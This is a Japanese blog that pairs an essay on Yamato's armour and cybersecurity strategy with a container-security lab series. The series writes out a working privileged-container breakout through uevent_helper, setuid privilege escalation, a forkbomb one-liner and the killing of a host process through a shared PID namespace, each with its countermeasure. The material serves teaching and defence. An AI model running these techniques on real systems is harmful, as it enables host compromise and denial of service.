鳩小屋

落書き帳

海軍から学ぶサイバーセキュリティ

本稿は下記の記事を整理してアレンジを加えたものです。「大和」は、1940年8月に進水した世界最大の6万4000トンの基準排水量と、世界最大の18インチ(46センチ)砲を9門搭載した世界最大の戦艦である。しかし、「大和」はその世界最大の18インチ砲という攻撃力を持ちながら、結局は攻撃らしい攻撃をせずに沈んでしまった悲しい運命の戦艦となった。

今回は、二次大戦における戦艦の防御構造を掘り下げながら、情報セキュリティ対策について考える。f:id:FallenPigeon:20210425182048j:plain

集中防御方式

「大和」の特徴は世界最大の主砲と大きさ(基準排水量)となるが、全く矛盾して「きわめて小さいことが特徴」と言われることもある。こう書くと何かの冗談か間違いのように聞こえるかもしれないが、これが「大和」の真実に近い。

 

その証拠に同じ時代のライバルとされる米国のアオイワ級は基準排水量4万8,500トンと、「大和」より1万5,500トンも少ないにも関わらず、全長は7メートル以上長い。「大和」と同じ18インチ主砲×9門を搭載する場合、一般的な設計にすると7万トンから8万トンほどにもなると言われる。このように「大和」は、極めて小さく作られた世界最大の戦艦という矛盾した要素を併せ持つ奇妙な存在なのだ。

 

「大和」が世界最大の大砲を装備しながら、大砲の口径などの仕様からすると、極めて小さな構造にできた秘訣は、「集中防御方式」を採用したことだ。この防御方式は、簡単に言うと火薬庫や主砲塔や機関部、司令官が居る艦橋などの重要な部分を集中して防御するため、コンパクトになる仕組みである。

f:id:FallenPigeon:20210425184439p:plain

f:id:FallenPigeon:20210425184458j:plain

戦艦は「自身と同じ威力の砲弾が当たっても大丈夫」というのが基本設計になるため、世界でこの18インチ砲弾を持つのは「大和」の他に、兄弟艦の「武蔵」しかなく、(16インチ以下の砲弾でも20km未満の近距離であれば効果があるが)戦艦同士の砲撃戦では圧倒的有利な状況だった。つまり、「大和」はコンパクトでありながら非常に防御力が高く、しかも、船自体が小さければ相手の攻撃を受ける的も小さくなるため、敵の攻撃を受けにくい特性も併せ持った優秀な防御(回避)力を持った戦艦だった。

 

 コンパクトになれば艦自体の重量が減り、スピードが向上するし、スピードを出すための機関部も小さくできる。面積や体積が減れば、相手から的になる部分が小さくなり、攻撃を回避できるということになる。これは、情報セキュリティにもあてはまるだろう。企業はビジネスの競争力を確保するために絶えず新たなシステムを導入するが、その都度セキュリティ対策が必要になる可能性がある。セキュリティ対策のリソースは無限ではないし、既存システムでも攻撃手法の巧妙化などによって対策しなくてはならない範囲が拡大する。その拡大を何らかの手段で止められなければ、企業はコストに耐えられずに業績が沈んでしまう。

 

このような状況に陥らないためには、守るべきものを明確にし、それができるだけ外部からの攻撃に晒されないようコンパクトに、守りやすく、バランスのよい構造を作る。その上で堅い防御構造を作るという、集中防御がセキュリティ対策にも参考になる。

 

脅威分析

「大和」は、世界最大の18インチ砲による攻撃力だけでなく、防御力に優れていたことが分かる。これをセキュリティ対策として考えると、「大和」は戦艦同士の大口径の大砲の戦いに特化した防御構造を持ち、その攻撃手法で攻撃される場合なら、最強の防御力を誇るといえる。

 

しかし逆に考えると、「それ以外の攻撃手法の場合」には必ずしも万全ではないことを示している。実際には「大和」(兄弟艦の「武蔵」も)が米国の攻撃を受けて沈没しているので、完璧な防御構造ではなかったことが分かる。

 

「大和」が沈没したのは、日本が想定していた戦艦同士で砲弾を撃ち合う艦隊決戦に敗れたわけではなく、数百機の航空機による波状攻撃で大量の爆弾や魚雷を受けたことが原因だ。これは、どれだけ優秀な防御構造を持ったとしても、想定している攻撃と異なる攻撃手法では無効化されやすいことを示している。

 

しかし、この「大和」の運命を「時代の先を見通せなかった」と笑うことできないだろう。現在のサイバー攻撃は非常に盛んで、世界の大国同士が名指しで相手国を批判し合っているような状況にもあり、サイバー空間は、陸・海・空・宇宙に続く「第5の戦場」とまで言われる。

 

現代の日本は70年以上もの間、戦争を経験していない。しかし、サイバー空間では今この瞬間にも戦争の前哨戦と言ってもおかしくない状況が世界中で行われている。これは“見える場所”から“見えない”サイバー空間へ戦場が移っただけなのかもしれない。

 

結論として「大和」の最大の問題は、その機能や構造の欠陥ではなく、計画時に世界では一般的だった艦隊決戦が“想定外”になるという変化に対応できなかったことだ。艦隊決戦のための最大の強みが、竣工時点(真珠湾攻撃後の1941年12月16日)で時代遅れになり、航空兵器が主役となってしまった。これは、「大和」自身が航空機による攻撃によって沈没した事実が証明してしまった。

 

このように、セキュリティ対策でどれだけお金と手間隙をかけてその時点の想定される攻撃を全て回避できる防御構造を作ったとしても、現在の状況は航空機からの攻撃(「大和」の設計当時、航空攻撃で戦艦が致命傷を負うことはないというのが一般的だった)のような想定外の攻撃にはたやすく突破されてしまう。

 

 以前は、ファイアウォールで防御壁を築き、それに加えて不正侵入の検知や防御が一定レベルできていれば、かなり有効なセキュリティ対策であった。しかし、攻撃側の手法が巧妙化して、どんどん攻撃力を高めていった結果、単一の機能だけで攻撃を防御できる状況ではなくなってしまった。

 

 攻撃のノウハウは蓄積されていく。もはや標的型攻撃や特に「APT」と呼ばれるような、より高度な攻撃手法を使うまでもなく、攻撃側はOSやミドルウェアなどの既知の脆弱性をマニュアル化されたプロセスに沿って突くだけで簡単に突破できる。しかも、「大和」が受けた飛行機からの攻撃とは異なり、サイバー攻撃は“目に見えない”。攻撃を受けて企業や組織という“船”は致命的なダメージを受けているのにも関わらず、それに気づかないうちに沈没し、深海を漂っているような状況に陥っている。このような状況が方々で起きていないとは言い切れないのだ。

 

 

日本のセキュリティでも、これと同じ状況を見かける。それは、ほとんど想定しなくてよい脅威や攻撃手法に、それほど必要ではない対策にコストを費やしてしまう図式だ。運用方法が決まらず、攻撃を検知したときにどのように対処するかさえも決めずに、恐怖心を解消させる目的で製品やサービスなどを闇雲に導入してしまう。

 

 その理由は、世の中で起きたさまざまな情報漏えい事件や事故などが本当に自分や自分の所属する企業でも起こり得るかどうかや、起こった時の被害や損失をあまり考えずに対策を施してしまうからであり、リスクマネジメントの考え方が浸透している欧米などの企業にはあまり見られない傾向だ。

 

 これは欧米のように、常に異民族や侵略者から自分を守らなくてはならなかった民族と、日本のように大陸から適度に離れていて侵略が難しく、それながら交易などはできる絶妙な地政学的な立地条件に恵まれた民族の差なのかもしれない。恵まれていたがために、明確な敵や攻撃手法を想定する思考がどうしても鈍ってしまうのだろう。結果的に日本は、ただでさえ少ない大量の資源と時間と技術のリソースを、この戦争では最後まで発生しなかった戦艦が大砲を撃ち合うという攻撃手法への対策に結集してしまった。これは遠因だが、この「大和」の沈没から40年ほど遡る日露戦争日本海海戦の大勝利という過去の成功体験が引き金になったことに他ならない。

 

 いずれにしても優れた防御構造とは、明確に攻撃手法を定義し、その攻撃の効果をできるだけ少なくする構造だ。その方向性がずれてしまうと、「大和」のような悲劇が発生する。多くのリソースをかけて作ったシステムにおいても、攻撃されることを想定していなかった脆弱な箇所が狙われ、いとも簡単に突破されてしまう。

 

攻防バランスとリスク評価

攻撃と防御のバランスが取れていることは、「大和」の真骨頂と言える。建造に際して最も必須とされ性能は、世界最高の攻撃力を持つ18インチ砲だ。「大和」の防御力(や運動性能)とは、この攻撃力を生かすための副次的な要素とも言える。

 

 これを情報システムに例えると、「大和」の主砲が基幹システムや情報系システムにあたり、最近だとAIやビッグデータ解析などの “攻めの経営”とも呼ばれる攻撃力の部分だ。そのシステム全体の中での防御とは、“攻めの経営”の意思決定や研究開発などで産み出した機密情報を守るためのセキュリティ対策となる。

 

 そのためキュリティ対策は、企業や組織が攻撃力を存分に発揮できるために存在する。つまり、それだけの価値(「大和」の場合は攻撃力)があるからこそ多くのリソースや、時には守るために必要な運用制限を設けて防御策を作る。もしむやみに守るべき価値がない情報を守っているなら、経営の足をひっぱっているだけの可能性もある。

 

 セキュリティ対策では重要なものを守るために、守るものを明確にしなくてはならない。企業で守るべきものは機密情報や顧客の個人情報などだ。それがシステムやサーバ、PCなどに散在している状況では守ることなどできない。管理者がどこに守るべき情報があるかを知らないのだから当然だ。

 

 防御する範囲が小さくなれば守りやすくなる。防御を施すコストも抑えられるのが集中防御方式の最大の特徴である。集中防御のメリットはそれだけではなく、守る範囲を限定できれば管理も容易になり、万一誰かに侵入されたとしてもログ監視などを的確に行える。守るべき情報が的確に管理されていれば、その情報が漏えいする前に攻撃者の動きを封じ込められるだろう。

 

 守るべきものが明確で守れる堅固な防御を作る。確実にセキュリティ対策が機能していることを、常に管理できるという効率的な仕組みが肝要だ。これが実現すれば、多少の被害は出ても、それに気づかずに手遅れとなり、船自体が沈むというような事態は防げるだろう。

 

多層防御

「大和」は沖縄特攻をめざす途中で沈没してしまったものの、防御構造が全く無力だったわけではない。沈没の直接的な原因は、米国海軍の非常に大規模だった波状攻撃に尽きるが、味方の航空機の支援がない状況としてはそれなりに耐えており、当時これだけの大規模な爆撃と雷撃を受けて沈まない艦船は世界のどこにもなかった。

 

コンパクトである以外にも、「大和」の防御構造でセキュリティ対策の参考になる考え方はいくつかある。それが「バルジ」だ。バルジとは、船体の外側にある中空の層であり、「大和」はその内部が内外2層に分かれ、さらに上下2層の区画に分かれていた。これは外部から攻撃を受けても被害(この場合は浸水)を一定の区画に限定させ、本来の装甲に到達する前に魚雷などの威力を減衰させる効果もある敵の攻撃力を弱める仕組みだ。

f:id:FallenPigeon:20210425191536g:plain

 さらに、攻撃を受けて船体が傾いても、そこに圧縮空気を注入することで侵入した水の排水が可能だった。逆に(やりすぎるとむしろ沈みやすくなるが)船のバランスを取るためにあえて注水する機能もあった。艦内への被弾に対しては、復旧のために消化剤の噴射や防火壁、強制注水による弾薬庫の引火防止などの様々な防御対策も施されていた。

 

 「大和」は、戦艦の砲弾の防御構造がそのまま効果的に利用されることで、攻撃を受けても一定期間は防御することができた。諸説あるが「大和」が2時間あまりで受けた攻撃は、魚雷10~12本と爆弾3~5発となっている。兄弟艦の「武蔵」が魚雷だけで20本ほど受けたという記録もあって、簡単に沈没してしまった印象を受けている方も居ると思うが、その時とは状況が異なる。最後の戦いとなったレイテ沖海戦では、「武蔵」以外にも標的が分散しており、米国側は空母などの機動部隊をおとりに使うなど戦術も巧みだった。そういう意味で「大和」の最後はとても悲劇的であり、たった1つの目標に四方八方からサンドバックのように叩かれ続けるという絶望的な最期であった。

 

 「大和」の防御力は、戦艦同士の対戦なら砲弾が空を飛んで船体上部に当たるために船体上部の装甲が圧倒的に強く、航空機の爆弾ではそれほどダメージを受けない。そこで攻撃側は、船体上部に比較して防御が手薄であり、穴が開くと浸水して沈没に直結する喫水線付近に攻撃を集中させる。それでも「大和」は、本来の想定とは異なる攻撃についても、以下のような有効な防御構造をもっていた。

  • 他国の戦艦ではあまり見かけない水面下の装甲
  • 浸水を被弾箇所に限定させる隔壁による多層構造
  • 浸水しても船が浮かぶために必要な予備浮力が潤沢
  • 船の傾斜による転覆を防ぐためのダメージコントロール機能

 このように「大和」は、本来の想定とはかなり違った質と量の攻撃を受けたにも関わらず、これらがそれなりに機能して、一定時間は効果を発揮した。

 

f:id:FallenPigeon:20210425192140p:plainf:id:FallenPigeon:20210425192206p:plain

一方、他国の軍艦となるドイツ海軍のビスマルクは、タートルバックと呼ばれる装甲配置を採用した。

この装甲のメリットは、二枚の装甲をうまく組み合わせることで対40cmの貫通を防ぐ圧倒的な頑丈さである。

ビスマルク追撃戦の中で近距離から戦艦の砲弾を浴び続けても耐え抜いて見せたビスマルクの強靭さはここにあると言える。

 

 これらの考え方はネットワークゲートウェイなど防御の他に、PCやスマートデバイスのセキュリティ対策を個別に施すなど、多層防御と呼ばれる現在のセキュリティ対策に通じる。

 

f:id:FallenPigeon:20210425161220p:plain

 

海軍の歴史とサイバーセキュリティの未来

海軍の役割は海軍を取り巻く政治情勢や技術躍進などによって大きく変化してきた。初期の海軍は陸軍部隊の輸送や沿岸警備という補助的な役割であり、常に編制されていたわけではなかった。しかし16世紀に初めて戦闘を目的とした船舶が設計されるようになり、次いで蒸気機関を用いた船舶技術の発達が進むと、独自的な役割を担う戦力として海軍が常備化されるようになる。航空機が発明される以前のものであったが、現代においてもその基本思想は現代海軍に残っている。第一次世界大戦では潜水艦の通商破壊や海上封鎖の効果が高く評価され、また第二次世界大戦でも大西洋と太平洋の海上交通を巡って従来の軍艦と併せて航空母艦の航空打撃戦が行われた。冷戦期には核弾頭を搭載した核ミサイル原子力潜水艦という新しい海上戦力が抑止力の役割を担ってきた。また、現在の軍事は、ミサイルをめぐる「いたちごっこ」の観を呈している。これには莫大なお金もかかる。しかし、現状に対応するしか他に方法はない。少しずつでも対応していかないといざという時には間に合わないからだ。

 

これはサイバーセキュリティの分野でも同じことが言える。不沈であり続けるセキュリティ技術など存在せず、日々技術の発展と攻撃者に追従していく必要がある。限られた予算で最適な防御を実現するために、脅威分析やリスク評価が重要であるのは言うまでもないが、新技術との向き合い方についても参考になる点がある。

 

近年、ブロックチェーン、AI、ゼロトラストといったキーワードが脚光を浴びている。ここでは、ゼロトラストの例を挙げる。このキーワードは、「信頼できないことを前提としてセキュリティ対策を講じていく」という考え方を指す。

 

ゼロトラストの利点は、セキュリティレベルの向上である。ゼロトラストではデータへのアクセスやアプリケーションの利用のたびにアカウントや権限の確認を行い、不正なアクティビティに対してはブロックや警告が行われる。そのため、社内・社外のどちらに置かれた情報資産に対しても高いセキュリティレベルを期待できる。

 

一方、ゼロトラストは単一の製品・サービスで実現できるものではないため、その仕組みを実現するには多くの製品・サービスの導入が必要で、コストも高くなる可能性がある。さらに、ゼロトラストではさまざまな場面でアカウントの権限やアクティビティを確認するため、業務上の不都合が生じる可能性もある。

例えば、担当者が誰かの代理でデータを送信するようなケースでは、アカウントに十分な権限がないとアクセスを拒否されたり、不正利用を疑われたりする可能性がある。また、頻繁にチェックが行われるため、システムのパフォーマンスが低下してしまうことも考えられる。その他、新しい仕組みに従業員が対応するための教育コストや、セキュリティ管理者の仕事量が増える可能性などもデメリットとして付随する。

 

ゼロトラストに限らず、新技術の導入を試みたものの、議論が進まなかったり、導入後に問題が露見するケースをよく耳にする。なぜうまくいかないのか。これらは、目的意識の欠如が主な要因と考えられる。上記のようなケースでは、新技術の謡い文句につられて尚早に着手したりしていないだろうか。もう一度振り返ってみてほしい。 

海軍に限らず軍事分野では、明確な目的意識が存在し、入念な検討が行われたうえで新技術が導入される。なぜこの艦種が必要なのか、なぜこの兵装が必要なのか、答えられない士官はいないだろう。

ここで言いたいのは、何も考えずに新技術に飛びつくだけでは、満足な結果は得られないということだ。ブロックチェーンゼロトラストも素晴らしい技術であることに変わりないが、導入自体が目的になってはいけない。これらの技術は目的を実現する手段として活用されてこそ、意図した価値を発揮する。

新技術を目にした時には、何のための技術なのか、何のためにこの技術を導入するのか一度よく考えてほしい。あらゆるなぜに答えられる目的が用意されていれば、途中で行先を見失うようなことはないだろう。

 

ここまで、海軍とサイバーセキュリティを関連付けてきた。最後に、海軍の歴史から見るサイバーセキュリティの未来について考えてみる。前述のとおり、海軍の存在意義は時代や技術にあわせて様変わりしてきたものの、軍事分野の考え方がサイバーセキュリティの一歩先を行くケースは少なくない。現代海軍の在り方として、イージスシステムによる未着弾迎撃や敵基地攻撃による攻勢防御がある。このように、サイバーセキュリティの分野においても着弾前に攻撃を阻止するような技術が注目されていくのではないかと私は考えている。いずれにせよ、明確な目的意識をもって新技術と向き合っていく姿勢が今後も原点であり続けることは変わらないはずだ。

 

 

 

 

コンテナセキュリティハンズオン6:Container Breakout

第6弾は特権コンテナをテーマにした演習です。

 

テーマ

docker run –privilegedオプション

uevent_helper

コンテナブレイクアウト

 

補足

 $:ホストOS #:コンテナ内

特権コンテナによるホストOSへのアクセス

特権コンテナは、すべてのケーパビリティを所有し、その他のアクセス制御も無効化されます。cgroupやnamespaceなどが機能しているため、一定の隔離は提供されるものの、権限を組み合わせることでホストOSへのアクセスが可能です。

 

例としてuevent_helperを利用した方法があります。ueventはデバイスが追加/削除されたときに送信されるイベントで、 /sys/kernel/uevent_helperに記載されているプログラムを実行します。これを利用して次のようにホスト側にエスケープできるようです。

 

--privilegedオプションを付与して特権コンテナを実行します。次にホストOSで実行させるスクリプトを用意します。作成したシェルスクリプトのホストOS上のパスを調査します。コンテナ内で作成したシェルスクリプトはホストOSの下記パスに保存されています。
/var/lib/docker/overlay2/33efcf3c0bcee4c02be6f375b084b45aadabcb2ed355158aeaafb632ab9b5be9/diff

シェルスクリプトを登録して、ueventを発生させることでホストOSでシェルスクリプトが実行されます。

$docker run --privileged --rm -it ubuntu:latest bash
root@04326fe1c553:/# cat <<EOF > /cmd
> #!/bin/sh
> ps aux > /tmp/output
> id > /tmp/output2
> find . -type d | sed -e "s/[^-][^¥/]*¥// |/g" -e "s/|¥([^ ]¥)/|-¥1/" > /tmp/output3
> EOF
root@04326fe1c553:/# chmod +x /cmd

root@04326fe1c553:/# mount | grep overlay2
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/MZKPXIQD5IXDQLGB5VEV52YCJT:/var/lib/docker/overlay2/l/5MBROGXKRJIDD2KPTKCMXABNW4:/var/lib/docker/overlay2/l/YRWMD7EOXYG2NAIJVDMFETQ4GM:/var/lib/docker/overlay2/l/IS7VQXSKV355DJZNSKYF2G73ET,upperdir=/var/lib/docker/overlay2/33efcf3c0bcee4c02be6f375b084b45aadabcb2ed355158aeaafb632ab9b5be9/diff,workdir=/var/lib/docker/overlay2/33efcf3c0bcee4c02be6f375b084b45aadabcb2ed355158aeaafb632ab9b5be9/work)

root@04326fe1c553:/# echo  "/var/lib/docker/overlay2/33efcf3c0bcee4c02be6f375b084b45aadabcb2ed355158aeaafb632ab9b5be9/diff/cmd" > /sys/kernel/uevent_helper

root@04326fe1c553:/# echo change > /sys/class/mem/null/uevent
実行されたシェルスクリプトの出力をホストOSから確認します。
$ head /tmp/output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.5 125656 5604 ? Ss 09:22 0:02 /usr/lib/systemd/systemd --switched-root --system --deserialize
21
root 2 0.0 0.0 0 0 ? S 09:22 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 09:22 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< 09:22 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S 09:22 0:00 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 09:22 0:00 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 09:22 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 09:22 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 09:22 0:00 [watchdog/0]
[root@ip-10-0-1-147 ~]# head /tmp/output2
uid=0(root) gid=0(root) groups=0(root)

$ head /tmp/output3
.
|-dev
| |-input
| | |-by-path
| |-vfio
| |-net
| |-hugepages
| |-mqueue
| |-disk
| | |-by-path
/tmp/outputなど、ホストOSのファイルシステムに書込みができていて、プロセスやディレクトリ構成を参照できていることが確認できます。このように特権コンテナを利用すると、ホストOSで任意のコード実行が可能になるため、不用意に使用してはいけません。このほかにもコンテナブレイクアウトの手法がいくつかあるようです。

後片付け

作業が終わったら不要なコンテナは削除しましょう。

#すべてのコンテナを停止
docker stop `docker ps -a -q`
#すべてのコンテナを削除
docker rm `docker ps -a -q`

コンテナセキュリティハンズオン5:Privilege Escalation

第5弾はコンテナ内特権昇格の演習です。

 

テーマ

・setuidフラグ
・no-new-privilegesオプション

 

補足

 $:ホストOS #:コンテナ内

setuidフラグの付与されたシェルの実行

setuidが付与されたファイルは実行者の権限ではなく、ファイル所有者の権限で動作します。そのため、所有者rootかつsetuidフラグが付与されたファイルは権限昇格に利用される可能性があります。

コンテナ内の一般ユーザがコンテナ内のrootユーザに昇格する例を下記に示します。

$ vi Dockerfile
FROM ubuntu:18.04
RUN cp /bin/bash /bin/mybash && chmod +s /bin/mybash
RUN useradd -ms /bin/bash newuser
USER newuser
CMD ["/bin/bash"]
$ sudo docker build -t escalation .
$ docker run --rm -it escalation

newuser@c4dda7d113f5:/# id
uid=1000(newuser) gid=1000(newuser) groups=1000(newuser)
newuser@c4dda7d113f5:/# ls -l
/bin/mybash -rwsr-sr-x 1 root root 1113504 Apr 19 11:16 /bin/mybash
newuser@c4dda7d113f5:/# /bin/mybash -p
mybash-4.4# id
uid=1000(newuser) gid=1000(newuser) euid=0(root) egid=0(root) groups=0(root) mybash-4.4# ps -auxf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
newuser 1 0.0 0.3 18516 3384 pts/0 Ss 11:17 0:00 /bin/bash
root 13 0.0 0.3 18516 3428 pts/0 S 11:19 0:00 /bin/mybash -p
root 15 0.0 0.2 34412 2952 pts/0 R+ 11:21 0:00 ¥_ ps -auxf

 コンテナ内の一般ユーザがコンテナ内のルート権限でシェルを起動していることが分かります。

コンテナ内権限昇格の防止

docker runコマンドのno-new-privilegesオプションを指定してコンテナを実行すると上記のような権限昇格を防ぐことができます。

$ docker run --security-opt=no-new-privileges:true --rm -it escalation

newuser@4ee756591f86:/$ id
uid=1000(newuser) gid=1000(newuser) groups=1000(newuser) newuser@4ee756591f86:/$ ls -l /bin/mybash
-rwsr-sr-x 1 root root 1113504 Apr 19 11:16 /bin/mybash
newuser@4ee756591f86:/$ ps -auxf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
newuser 1 0.1 0.3 18508 3428 pts/0 Ss 11:24 0:00 /bin/bash
newuser 12 0.0 0.3 18516 3484 pts/0 S 11:26 0:00 /bin/mybash -p
newuser 17 0.0 0.2 34412 2944 pts/0 R+ 11:26 0:00 ¥_ ps -auxf

 今度はnewuserの権限でシェルが動作していることが確認できます。

 

後片付け

作業が終わったら不要なコンテナは削除しましょう。

#すべてのコンテナを停止
docker stop `docker ps -a -q`
#すべてのコンテナを削除
docker rm `docker ps -a -q`

コンテナセキュリティハンズオン4:Container Forkbomb

第4弾はcgroupによるリソース制限をテーマにした演習です。

 

テーマ

・cgroupによるコンテナのリソース制限

・フォークボム

補足

 $:ホストOS #:コンテナ内

PID名前空間の共有

docker runコマンドでリソース制限を実施したコンテナ上で、フォークボムを実行します。

フォークボムは、再帰処理でforkを実行して無限にプロセスを生成する手法です。これを実施すると、OSのプロセステーブルが枯渇して新規のプロセス生成が行えなくなり、OSがクラッシュします。単純ですが、強力なDos攻撃手法になります。特にコンテナ上でこのような処理を実行した場合、コンテナのみならず、OSまで被害が及びます。

[root@ip-10-0-1-94 ~]# docker run --pids-limit 20 --memory 1g --cpus 0.5 --rm –it ubuntu:latest bash
root@91857cc104d0:/# forkbomb(){ forkbomb|forkbomb & } ; forkbomb
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable

 今回は、コンテナ実行時にリソース制限を設けることでホストOSのリソースが枯渇するようなことはありません。逆に、上記のような制限を設けていないコンテナで上記を実施すると、OSのGUIが動かなくなったり、クラッシュする挙動が確認できるかと思います。実施する場合は仮想マシンなど復旧が容易な環境を用意しましょう。

 

後片付け

作業が終わったら不要なコンテナは削除しましょう。

#すべてのコンテナを停止
docker stop `docker ps -a -q`
#すべてのコンテナを削除
docker rm `docker ps -a -q`

コンテナセキュリティハンズオン2:Shared Namespace

第2弾では名前空間の共有を確認します。

 

テーマ

名前空間の共有と脅威

 

補足

 $:ホストOS #:コンテナ内

PID名前空間の共有


docker runコマンドに--pid=hostオプションを指定することによって、ホストのプロセスIDをコンテナ内から認識されるようにできます。

$ docker run --pid=host -it -d --rm --name test centos /bin/bash

$ ps -aufx
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 2 0.0 0.0 0 0 ? S Apr18 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< Apr18 0:00 ¥_ [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< Apr18 0:00 ¥_ [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S Apr18 0:00 ¥_ [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? R Apr18 0:00 ¥_ [rcu_sched]

$ docker container attach test
# ps -aufx
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 2 0.0 0.0 0 0 ? S Apr18 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< Apr18 0:00 ¥_ [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< Apr18 0:00 ¥_ [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S Apr18 0:00 ¥_ [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I Apr18 0:00 ¥_ [rcu_sched]

これだけでホストOSが侵害されることはありませんが、下記のようにコンテナに特権が付与されているような場合、ホストのプロセスをkillすることもできます。


ホストOSでプロセスを生成します。

$ sleep 1000


 別のコンソールで特権付与+pid名前空間を共有したコンテナを生成します。
次にホストOSのプロセスIDを確認してkillします。
$docker run --pid=host -it -d --rm --privileged --name test centos /bin/bash
$docker container attach test
# ps aufx |grep sleep 1000 3633 0.0 0.0 2248 4 ? S+ 03:45 0:00 \_ sleep 1000
root 3635 0.0 0.0 9180 1080 pts/0 S+ 03:45 0:00 \_ grep --color=auto sleep
# kill 3633
#
ホストOSのプロセスを確認
$ sleep 1000
Terminated
$
 ホスト上のプロセスがコンテナからkillされたことが確認できます。
 
Dockerには上記のように名前空間を共有するオプションもありますが、他の権限と組み合わせることでホストOSの侵害につながるため基本的に非推奨です。

後片付け

作業が終わったら不要なコンテナは削除しましょう。

#すべてのコンテナを停止
docker stop `docker ps -a -q`
#すべてのコンテナを削除
docker rm `docker ps -a -q`

コンテナセキュリティハンズオン1:Understanding Container

第1弾ではコンテナの仕組みを理解するためにコンテナ側とホストOSからリソースの見え方や権限を簡単に確認します。

テーマ

 

 

 

kurobato.hateblo.jp

補足

  • $:ホストOS #:コンテナ内
  • アタッチとデタッチは多用するため覚えておきましょう。(以後省略します)
$docker run -it -d --rm --name test centos /bin/bash
$uname –r                                                               #カーネル
$ls /                                                                         #ルートファイルシステム
$id                                                                           #ユーザ
$ps -aufx                                                                 #プロセス一覧
$hostname                                                              #ホスト名
$docker container ls                                                #コンテナ一覧
$ip addr                                                                    #ネットワーク一覧
$ls -l /proc/$$/ns/                                                   #ネームスペース一覧
$getpcaps [pid]                                                       #コンテナ[pid]のケーパビリティ
#docker container attach [container]#アタッチ
#uname –r                                                               #カーネル
#ps -aufx                                                                 #コンテナ
#id                                                                           #ユーザ
#hostname                                                              #ホスト名
#ip addr                                                                  #ネットワーク
#pwd                                                                      #カレントディレクト
#ls /                                                                        #ルートファイルシステム
#ls -l /proc/$$/ns/                                                  #ネームスペース一覧
#ctrlを押しながらp,qの順にキー押下してデタッチ
一気にコマンドを実行してもよいですが、コンテナとホストOSを切り替えながら交互に確認すると分かりやすいと思います。
 

カーネルの共有

ホスト上でカーネル名を確認し、コンテナにアタッチしてから、コンテナ内のカーネル名を確認します。

$ uname -r
4.4.0-210-generic
$ docker container attach test
# uname -r
4.4.0-210-generic
#[ctrl+p→q]
$

ホストOSとコンテナで同じカーネル名が出力されています。このことからコンテナがホストOSのカーネルを共有していることが確認できます。
 

ルートファイルシステムの分離

同様にホストOSとコンテナOSのルートファイルシステムを確認します。

$ ls /
bin boot dev etc home lib lib64 local media mnt opt proc root run sbin srv sys tmp usr var
$ docker container attach test
# pwd
/
# ls /
bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var

 /直下のディレクトリ構成が異なることがわかります。カーネルは共有しているものの、OSのシステムファイルは異なっていることが分かります。

 

ネームスペースの比較

ホストとコンテナのシェルが属するnamespaceを比較します。

$ ls -l /proc/$$/ns/
lrwxrwxrwx 1 root root 0 Apr 19 04:21 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 root root 0 Apr 19 04:21 ipc -> ipc:[4026531839]
lrwxrwxrwx 1 root root 0 Apr 19 04:21 mnt -> mnt:[4026531840]
lrwxrwxrwx 1 root root 0 Apr 19 04:21 net -> net:[4026532041]
lrwxrwxrwx 1 root root 0 Apr 19 04:21 pid -> pid:[4026531836]
lrwxrwxrwx 1 root root 0 Apr 19 04:21 user -> user:[4026531837]
lrwxrwxrwx 1 root root 0 Apr 19 04:21 uts -> uts:[4026531838]

# ls -l /proc/$$/ns/
lrwxrwxrwx 1 root root 0 Apr 19 04:20 cgroup -> 'cgroup:[4026531835]'
lrwxrwxrwx 1 root root 0 Apr 19 04:20 ipc -> 'ipc:[4026532290]'
lrwxrwxrwx 1 root root 0 Apr 19 04:20 mnt -> 'mnt:[4026532288]'
lrwxrwxrwx 1 root root 0 Apr 19 04:20 net -> 'net:[4026532293]'
lrwxrwxrwx 1 root root 0 Apr 19 04:20 pid -> 'pid:[4026532291]'
lrwxrwxrwx 1 root root 0 Apr 19 04:20 user -> 'user:[4026531837]'
lrwxrwxrwx 1 root root 0 Apr 19 04:20 uts -> 'uts:[4026532289]'

 ipc,、mnt、net、pid、utsの名前空間が異なることが分かります。これは、dockerがコンテナを作成する際にデフォルトで利用するネームスペースになります。一方、cgroupやuserの名前空間は利用されていないため、どちらも同じ名前空間に属していることが確認できます。なお、userネームスペースはルートレスコンテナと呼ばれるホストのユーザ権限でコンテナ環境を動作させる方式で採用されています。

 

プロセス一覧の比較

psコマンドでプロセス一覧を比較します。

$ ps -aufx
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 2 0.0 0.0 0 0 ? S Apr18 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< Apr18 0:00 ¥_ [kworker/0:0H] root 6 0.0 0.0 0 0 ? I< Apr18 0:00 ¥_ [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S Apr18 0:00 ¥_ [ksoftirqd/0]
